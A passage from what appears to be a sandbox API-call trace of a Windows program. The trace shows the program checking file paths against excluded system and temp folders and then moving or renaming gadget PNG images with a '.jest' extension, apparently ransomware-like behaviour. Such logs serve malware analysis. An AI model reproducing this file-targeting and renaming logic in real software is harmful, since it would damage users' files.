pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.933] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.934] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.934] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.934] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.934] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.934] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.934] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.934] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.934] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.934] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.934] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.934] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.934] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.934] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.935] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.935] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.935] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.935] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.935] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.935] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.935] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.935] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.935] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.935] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.935] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.935] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.936] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.936] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.936] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.936] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.936] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.936] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.936] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.936] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.936] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.936] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.936] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.936] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.936] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.937] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.937] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.937] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.937] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.937] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.937] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.937] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.937] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.937] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.937] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.937] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.937] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.937] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.938] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.938] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.938] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.938] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.938] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.938] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.938] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.938] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.938] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.938] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.938] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.938] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.939] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.939] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.939] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.939] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.939] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.939] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.939] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.939] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.939] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.939] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.939] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.939] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.940] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.940] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.940] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.940] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.940] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.940] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.940] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.940] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.940] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.940] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.940] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.940] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.940] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.941] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.941] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.941] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.941] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.941] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.941] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.941] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.941] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.941] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.941] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.941] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.941] GetFullPathNameA (in: lpFileName=" WAhSxUs9aQJbanit6H5ZEcA5IKLceRkLKyUcalT_Yfsv6ts0qKScK0RKcrrDxkdXGF5VdoByZ Vox_j3tt6pvDZ1fX7xRqfD9hqz.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ WAhSxUs9aQJbanit6H5ZEcA5IKLceRkLKyUcalT_Yfsv6ts0qKScK0RKcrrDxkdXGF5VdoByZ Vox_j3tt6pvDZ1fX7xRqfD9hqz.tmp", lpFilePart=0x18e708*=" WAhSxUs9aQJbanit6H5ZEcA5IKLceRkLKyUcalT_Yfsv6ts0qKScK0RKcrrDxkdXGF5VdoByZ Vox_j3tt6pvDZ1fX7xRqfD9hqz.tmp") returned 0x8f [0126.942] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png", lpFilePart=0x18e708*="8.png") returned 0x50 [0126.942] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\8.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ WAhSxUs9aQJbanit6H5ZEcA5IKLceRkLKyUcalT_Yfsv6ts0qKScK0RKcrrDxkdXGF5VdoByZ Vox_j3tt6pvDZ1fX7xRqfD9hqz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ wahsxus9aqjbanit6h5zeca5iklcerklkyucalt_yfsv6ts0qksck0rkcrrdxkdxgf5vdobyz vox_j3tt6pvdz1fx7xrqfd9hqz.tmp")) returned 0 [0126.944] GetLastError () returned 0x5 [0126.944] GetLastError () returned 0x5 [0126.944] SetLastError (dwErrCode=0x5) [0126.944] GetLastError () returned 0x5 [0126.945] SetLastError (dwErrCode=0x5) [0126.945] GetLastError () returned 0x5 [0126.945] SetLastError (dwErrCode=0x5) [0126.945] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.945] GetFullPathNameA (in: lpFileName=" WAhSxUs9aQJbanit6H5ZEcA5IKLceRkLKyUcalT_Yfsv6ts0qKScK0RKcrrDxkdXGF5VdoByZ Vox_j3tt6pvDZ1fX7xRqfD9hqz.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ WAhSxUs9aQJbanit6H5ZEcA5IKLceRkLKyUcalT_Yfsv6ts0qKScK0RKcrrDxkdXGF5VdoByZ Vox_j3tt6pvDZ1fX7xRqfD9hqz.tmp", lpFilePart=0x18e6e4*=" WAhSxUs9aQJbanit6H5ZEcA5IKLceRkLKyUcalT_Yfsv6ts0qKScK0RKcrrDxkdXGF5VdoByZ Vox_j3tt6pvDZ1fX7xRqfD9hqz.tmp") returned 0x8f [0126.945] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ WAhSxUs9aQJbanit6H5ZEcA5IKLceRkLKyUcalT_Yfsv6ts0qKScK0RKcrrDxkdXGF5VdoByZ Vox_j3tt6pvDZ1fX7xRqfD9hqz.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x68415720, cFileName="SxUs9aQJbanit6H5ZEcA5IKLceRkLKyUcalT_Yfsv6ts0qKScK0RKcrrDxkdXGF5VdoByZ Vox_j3tt6pvDZ1fX7xRqfD9hqz.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.945] GetLastError () returned 0x2 [0126.945] GetLastError () returned 0x2 [0126.945] SetLastError (dwErrCode=0x2) [0126.946] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0126.948] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0126.948] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\8.png", cchLength=0x7d | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\8.png") returned 0x7d [0126.949] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0126.949] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\8.png", cchLength=0x7d | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\8.png") returned 0x7d [0126.949] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0126.949] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\8.png", cchLength=0x7d | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\8.png") returned 0x7d [0126.949] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0126.949] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\8.png", cchLength=0x7d | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\8.png") returned 0x7d [0126.949] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0126.949] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\8.png", cchLength=0x7d | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\8.png") returned 0x7d [0126.950] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0126.950] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\8.png", cchLength=0x7d | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\8.png") returned 0x7d [0126.950] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0126.950] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png", cchLength=0x51 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\9.png") returned 0x51 [0126.950] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0126.950] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png", cchLength=0x51 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\9.png") returned 0x51 [0126.951] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0126.951] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png", cchLength=0x51 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\9.png") returned 0x51 [0126.951] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0126.951] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png", cchLength=0x51 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\9.png") returned 0x51 [0126.951] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0126.951] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png", cchLength=0x51 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\9.png") returned 0x51 [0126.951] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0126.951] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png", cchLength=0x51 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\9.png") returned 0x51 [0126.952] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0126.952] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.952] GetTickCount () returned 0x11522ec [0126.952] GetTickCount () returned 0x11522ec [0126.952] CoFreeUnusedLibraries () [0126.952] GetTickCount () returned 0x11522ec [0126.952] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.952] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.952] GetTickCount () returned 0x11522ec [0126.952] IsWindowVisible (hWnd=0x30268) returned 0 [0126.952] Sleep (dwMilliseconds=0x0) [0126.958] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\9.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\9.png.jest")) returned 0 [0126.960] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png", lpFilePart=0x18e6d8*="9.png") returned 0x50 [0126.960] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba11b582, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba11b582, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0908d7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x531b, dwReserved0=0x57, dwReserved1=0x0, cFileName="9.png", cAlternateFileName="")) returned 0x143ce48 [0126.961] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.963] VarBstrFromR4 (in: fltIn=0x4794456c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.84") returned 0x0 [0126.964] 